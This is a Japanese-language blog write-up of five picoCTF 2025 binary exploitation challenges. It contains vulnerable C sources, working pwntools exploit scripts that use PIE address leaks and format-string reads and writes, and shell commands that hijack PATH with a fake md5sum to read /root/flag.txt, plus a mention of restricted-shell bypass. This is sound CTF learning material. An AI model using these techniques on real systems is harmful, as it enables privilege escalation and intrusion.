picoCTF 2025 Writeup
これは何
picoCTF 2025 の writeupになります。Binary Exploitation 以外も解答しましたが、あんまり難しい問題でもなかったので記載しません。Binary Exploitation で競技中に解答できたのは
- PIE TIME
- PIE TIME 2
- hash-only-1
の3つでしたが、writeup には Echo Valley と hash-only-2 も記載します。
PIE TIME
ソースとバイナリが配られます。以下にソースとchecksecの結果を示します。
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
} Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
プログラムの処理及びchecksecの結果から、win関数の先頭アドレスを入力として渡すことが出来れば良さそうです。さらにはmainのアドレスがリークしているので、リークした値から相対アドレスを引けばバイナリのベースが得られ、winの関数アドレスが計算できます。これらを考慮してsolverを書きます。
from pwn import *
file = './vuln'
elf = context.binary = ELF(file)
p = remote("rescued-float.picoctf.net", 53964)
p.recvuntil(b'main: ')
leak_main = int(p.recvuntil('\n'), 16)
elf.address = leak_main - elf.sym['main']
p.sendline(hex(elf.sym['win']))
print(p.recvall().decode())PIE TIME 2
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void segfault_handler() {
printf("Segfault Occurred, incorrect address.\n");
exit(0);
}
void call_functions() {
char buffer[64];
printf("Enter your name:");
fgets(buffer, 64, stdin);
printf(buffer);
unsigned long val;
printf(" enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
void (*foo)(void) = (void (*)())val;
foo();
}
int win() {
FILE *fptr;
char c;
printf("You won!\n");
// Open file
fptr = fopen("flag.txt", "r");
if (fptr == NULL)
{
printf("Cannot open file.\n");
exit(0);
}
// Read contents from file
c = fgetc(fptr);
while (c != EOF)
{
printf ("%c", c);
c = fgetc(fptr);
}
printf("\n");
fclose(fptr);
}
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
call_functions();
return 0;
}
前回と同じでwinが存在しており、入力でwinの関数アドレスを渡すことは変わらないようですが、今度はFSBが存在しています。解法としてはFSBでスタック上のリターンアドレスをリークし、前回と同じ方法でベースアドレスを算出します。そうすればwin関数のアドレスをpwntoolsが計算してくれるので、それを文字列として送信するだけです。ごちゃごちゃしていると、リターンアドレスは19番目に位置していると分かるので、%19$pを送信してリターンアドレスを得ています。
from pwn import *
file = './vuln'
elf = context.binary = ELF(file)
p = remote("rescued-float.picoctf.net", 61604)
p.recvuntil('name:')
p.sendline('%19$p')
main_leak = int(p.recvuntil('\n'), 16)
# リークしたアドレス - 実行前の相対アドレス = ベースアドレス
elf.address = main_leak - 0x1441
p.recvuntil('0x12345: ')
p.sendline(hex(elf.sym['win']))
print(p.recvall().decode())hash-only-1
インスタンスを起動すると接続先のみが渡されます。接続してみるとカレントディレクトリにはflaghasherというプログラムが存在しており、それを実行してみると、/root/flag.txtの内容をmd5sumでハッシュ化して出力しているようでした。
$ ./flaghasher
Computing the MD5 hash of /root/flag.txt....
37b576b3ec8179c5714bcd173ce8c1cc /root/flag.txt
また、プログラムがダウンロードできるとのことだったので、ダウンロードしてstringsにかけてみました。
$ strings flaghasher | grep md5sum
/bin/bash -c 'md5sum /root/flag.txt'
ここには載せていないのですが、この後ghidraでの解析を行ってみると、どうやら上記文字列はsystem()を通じて実行されているようでした。この時点で、flaghasher自体は何の入力も受け付けていないため、flaghasher自体を攻撃するのではなく、それが利用するコマンドや環境を攻撃するべきかと考えました。もう少し調査を進めてみると PATHの変更が可能であったため、md5sumをこちらが用意した悪意のある同名のmd5sumスクリプトにすりかえ、その中ではcat /root/flag.txtを実行させれば良いのでは無いかと思いつきます。すり替えるためにはPATHにより優先順位の高いディレクトリを追加し、そのディレクトリの中に自前のmd5sumを追加すれば良いはずです。
$ export PATH=/tmp:$PATH
$ echo 'cat /root/flag.txt' > md5sum
$ mv md5sum /tmp
$ ./flaghasher
これでフラグを入手できました。
hash-only-2
hash-only-1と同じように接続先が渡されます。今後はrbashとなっており、様々なコマンドやリダイレクトなどが制限された環境になっています。私は解答できませんでしたが、writeupを見る限りどうやらbashコマンドが使えたようです。そうすれば制限の無い通常のシェルを利用でき、この状態でhash-only-1と同じことをすればフラグが入手できました。
競技終了後に調べたところ、Linux Restricted Shell Bypassという資料を発見しました。今回の解法と似たようなことが書いてあります。競技中、rbashについてのバイパスを調べることを怠っていたので、とても後悔しました。
最近kurenaif氏のCTF入門講座が個人的に刺さっていたのですが、競技時間中に知らないことを調べないのはお話にならないことをhash-only-2でも痛感しました。
Echo Valley
ソースとバイナリが配られます。ソースは下記。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void print_flag() {
char buf[32];
FILE *file = fopen("/home/valley/flag.txt", "r");
if (file == NULL) {
perror("Failed to open flag file");
exit(EXIT_FAILURE);
}
fgets(buf, sizeof(buf), file);
printf("Congrats! Here is your flag: %s", buf);
fclose(file);
exit(EXIT_SUCCESS);
}
void echo_valley() {
printf("Welcome to the Echo Valley, Try Shouting: \n");
char buf[100];
while(1)
{
fflush(stdout);
fgets(buf, sizeof(buf), stdin);
if (strcmp(buf, "exit\n") == 0) {
printf("The Valley Disappears\n");
break;
}
printf("You heard in the distance: ");
printf(buf);
fflush(stdout);
}
fflush(stdout);
}
int main()
{
echo_valley();
return 0;
}
解法は難しくなく、はじめにFSBの脆弱性を通じてリターンアドレスと退避されたrbpを入手します。gdbなどで調べると、退避されたrbpの値から0x8を減算すると、そこにはリターンアドレスが存在していることが分かります。また、リターンアドレスは、当該命令が相対アドレスで0x1413と分かるので、リークしたリターンアドレスから0x1413を減算すればバイナリのベースアドレスが算出できると分かります。ベースアドレスが算出できれば、pwntoolsがprint_flag()関数のアドレスも算出してくれるのでそれを利用できます。
準備が整ったので、「リターンアドレスのアドレス(saved_rbp-0x8)」にprint_flag()のアドレスを書き込むように書式文字列を作成・送信すればフラグが入手できます。
from pwn import *
file = './valley'
elf = context.binary = ELF(file)
#p = process(file)
p = remote("shape-facility.picoctf.net", 54075)
p.recvline()
p.sendline(b'%20$p.%21$p')
p.recvuntil(b'distance: ')
leak = p.recvuntil(b'\n').split(b'.')
elf.address = int(leak[1], 16) - 0x1413
addr_retaddr = int(leak[0], 16) - 0x8
print(f'base: {hex(elf.address)}')
print(f'loca: {hex(addr_retaddr)}')
payload = fmtstr_payload(6, {addr_retaddr: elf.sym['print_flag']}, write_size='short')
p.sendline(payload)
p.sendline(b'exit')
p.interactive()
私は競技時間内に解答できなかったのですが、これに関しては1つ謎が残っています。というのもベースアドレスを算出するために0x1413をここでは減算していますが、これはobjdumpなどのコマンドでmainがcall echo_valleyした次の命令アドレスを見れば、減算する値は0x1413であることを確認できます。これは納得できる話ですし、実際競技時間中に私も行いました。問題なのはここからで、私がダウンロードしたバイナリでは、call echo_valleyの次の命令アドレスは0x1315だったのです。こればかりは見間違いでもなく、何度も確認していたはずです。それだというのに他のwriteupを見てみると0x1413を減算していたり、リターンアドレスから0x1aaを減算することでprint_flagのアドレスとしていたりで、自分のオフセットとは何かが違うことに気づきました。そう思ってもう一度バイナリをダウンロードしてみると、何故かcall echo_valleyの次の命令アドレスは0x1413だったのです。これは私が何かを間違えたのか、それもバイナリが何か変わったのか、何にせよ発狂しました。
あとwrite_size='short'が分かりません。2byteごとに値を書き込んでいくものだと思っていますが、intやbyteでは成功しませんでした。byteはペイロードが100byteを超えていたのでさもありなん。intは超えていないのに成功しない -> 意味わかんない
終わりに
exploitの自信を砕かれました。驕らずに生きていきます。